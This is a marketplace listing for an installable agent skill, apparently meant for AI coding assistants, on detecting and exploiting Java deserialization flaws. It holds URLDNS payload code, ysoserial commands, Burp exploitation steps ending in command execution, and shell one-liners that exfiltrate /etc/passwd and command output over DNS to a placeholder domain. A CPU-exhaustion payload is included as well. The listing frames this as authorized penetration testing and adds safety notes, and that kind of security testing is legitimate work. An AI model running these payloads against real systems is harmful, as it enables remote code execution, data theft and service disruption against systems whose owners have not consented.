# Java Deserialization Detection

> Detect and exploit Java deserialization vulnerabilities using DNS-based payloads, GadgetProbe, and Java Deserialization Scanner. Use this skill whenever the user mentions Java deserialization, gadget chains, ysoserial, Burp extensions for deserialization testing, DNS exfiltration from Java apps, or needs to probe for vulnerable Java classes on a target. This skill covers URLDNS payloads, class existence detection, and automated exploitation workflows.

- Skill: `abelrguezr/java-deserialization-detection` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/java-deserialization-detection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/java-deserialization-detection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/java-deserialization-detection

---


# Java Deserialization Detection and Exploitation

A skill for detecting and exploiting Java deserialization vulnerabilities using DNS-based techniques, GadgetProbe, and the Java Deserialization Scanner.

## Overview

Java deserialization vulnerabilities occur when applications deserialize untrusted data without proper validation. This skill teaches you to:

1. **Detect deserialization** using DNS-based payloads (URLDNS technique)
2. **Probe for vulnerable classes** using GadgetProbe
3. **Automate detection and exploitation** with Java Deserialization Scanner
4. **Exfiltrate data** via DNS queries

## Core Technique: URLDNS Payload

### How It Works

The `java.net.URL` class implements `Serializable` and has a curious behavior:

- When a `URL` object's `hashCode()` method is called, it triggers a DNS lookup
- During `HashMap` deserialization, `hashCode()` is called on every key
- By placing a `URL` object as a key in a serialized `HashMap`, deserialization triggers a DNS query

### Creating a URLDNS Payload

Use this Python script to generate a URLDNS payload:

```bash
python scripts/generate_urldns.py --url "http://<your-collaborator-domain>" --output payload.serial
```

Or use ysoserial directly:

```bash
java -jar ysoserial.jar URLDNS http://<your-collaborator-domain>
```

### Manual Java Implementation

For understanding or customization, here's the core payload structure:

```java
import java.net.URL;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.lang.reflect.Field;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        String url = "http://<your-domain>";
        HashMap ht = new HashMap();
        URLStreamHandler handler = new SilentURLStreamHandler();
        URL u = new URL(null, url, handler);
        ht.put(u, url);
        
        // Reset cached hashCode to trigger DNS on deserialization
        Field field = u.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u, -1);
        
        // Serialize ht to file
    }
}

class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) { return null; }
    protected synchronized InetAddress getHostAddress(URL u) { return null; }
}
```

## GadgetProbe

### What It Does

GadgetProbe determines if specific Java classes exist on the target server by:

1. Attempting to deserialize an arbitrary class
2. If successful, triggering a DNS query
3. If DNS query is received, the class exists and may be exploitable

### Installation

```bash
# Install from Burp Suite App Store
# Search for "GadgetProbe" in Extender > Marketplace
```

### Usage

1. **Configure DNS listener** (Burp Collaborator or your own)
2. **Select target request** in Burp
3. **Right-click** → Send to GadgetProbe
4. **Choose wordlist** from `wordlists/` directory
5. **Run probe** and monitor DNS callbacks

### Wordlists

GadgetProbe includes wordlists for common vulnerable classes:

- `commons-collections` - Most common gadget chains
- `commons-beanutils` - Alternative gadget sources
- `jdk` - JDK internal classes
- `spring` - Spring Framework gadgets

## Java Deserialization Scanner

### Installation

```bash
# Install from Burp Suite App Store
# Search for "Java Deserialization Scanner" in Extender > Marketplace
```

### Passive Detection

By default, the scanner monitors all traffic for Java serialized magic bytes (`AC ED` in hex). When found, it flags potential vulnerabilities.

### Active Testing

#### Manual Testing Workflow

1. **Select request** in Burp
2. **Right-click** → Send to DS - Manual Testing
3. **Navigate to** Deserialization Scanner Tab → Manual Testing
4. **Select insertion point** (parameter, header, body, etc.)
5. **Choose attack type** based on encoding:
   - `raw` - Raw serialized data
   - `base64` - Base64 encoded
   - `urlencoded` - URL encoded
6. **Launch test**

The scanner automatically:
- Checks for vulnerable libraries
- Tests multiple ysoserial payloads
- Uses DNS, sleep, or CPU-based detection
- Highlights vulnerable libraries

#### Exploitation Workflow

Once a vulnerable library is identified:

1. **Send request** to Exploiting Tab
2. **Select injection point**
3. **Choose vulnerable library** (e.g., `commons-collections3.1`)
4. **Enter command** to execute
5. **Press Attack button**

## DNS Exfiltration

### Basic Exfiltration

Exfiltrate file contents via DNS subdomains:

```bash
# Exfiltrate /etc/passwd
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do 
  host $line.$i.<your-domain>; 
  i=$((i+1)); 
done)
```

### Command Output Exfiltration

```bash
# Exfiltrate command output
(cmd | xxd -p -c 31 | while read line; do 
  host $line.<your-domain>; 
done)
```

### Using with ysoserial

```bash
# Execute command and exfiltrate via DNS
java -jar ysoserial.jar CommonsCollections5 \
  "(i=0;cat /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.<domain>; i=$((i+1)); done)" \
  | base64
```

## Detection Methods

### DNS-Based Detection

**Pros:**
- Reliable callback mechanism
- Works through most firewalls
- Easy to monitor with Burp Collaborator

**Cons:**
- Requires DNS access
- Limited data exfiltration bandwidth

### Sleep-Based Detection

```bash
# Java sleep payload
"Thread.sleep(5000)"
```

**Pros:**
- No external dependencies
- Works in restricted networks

**Cons:**
- Slower testing
- May be rate-limited

### CPU-Based Detection

```bash
# CPU-intensive payload
"while(true){}"
```

**Pros:**
- Observable resource consumption
- No external dependencies

**Cons:**
- May crash target
- Harder to measure precisely

## Common Vulnerable Libraries

| Library | Version Range | Gadget Chain |
|---------|--------------|--------------|
| commons-collections | < 3.2.2 | CommonsCollections1-7 |
| commons-beanutils | < 1.9.3 | BeanUtils1 |
| commons-chain | < 1.1 | CommonsBeanutils1 |
| spring-core | < 5.0.5 | Spring1 |
| jdk | 7u21-7u80 | JDK7u21 |

## Testing Checklist

Before testing, verify:

- [ ] You have authorization to test the target
- [ ] DNS listener is configured and running
- [ ] Burp extensions are installed
- [ ] Target uses Java (check headers, cookies, responses)
- [ ] You understand the legal implications

## Response Analysis

### Positive Indicators

- DNS callback received
- Delayed response (sleep payload)
- High CPU usage on target
- Error messages mentioning deserialization

### Negative Indicators

- No DNS callback
- Immediate response
- No error messages
- Request rejected or sanitized

## Safety Considerations

1. **Always get authorization** before testing
2. **Use non-destructive payloads** first (DNS, sleep)
3. **Avoid CPU-intensive payloads** on production systems
4. **Document findings** for remediation
5. **Test in staging** before production

## References

- [GadgetProbe - Bishop Fox](https://github.com/BishopFox/GadgetProbe)
- [Java Deserialization Scanner](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
- [ysoserial - Gadget Chains](https://github.com/frohoff/ysoserial)
- [Triggering DNS Lookup via Java Deserialization](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- [Detecting Deserialization Bugs with DNS Exfiltration](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)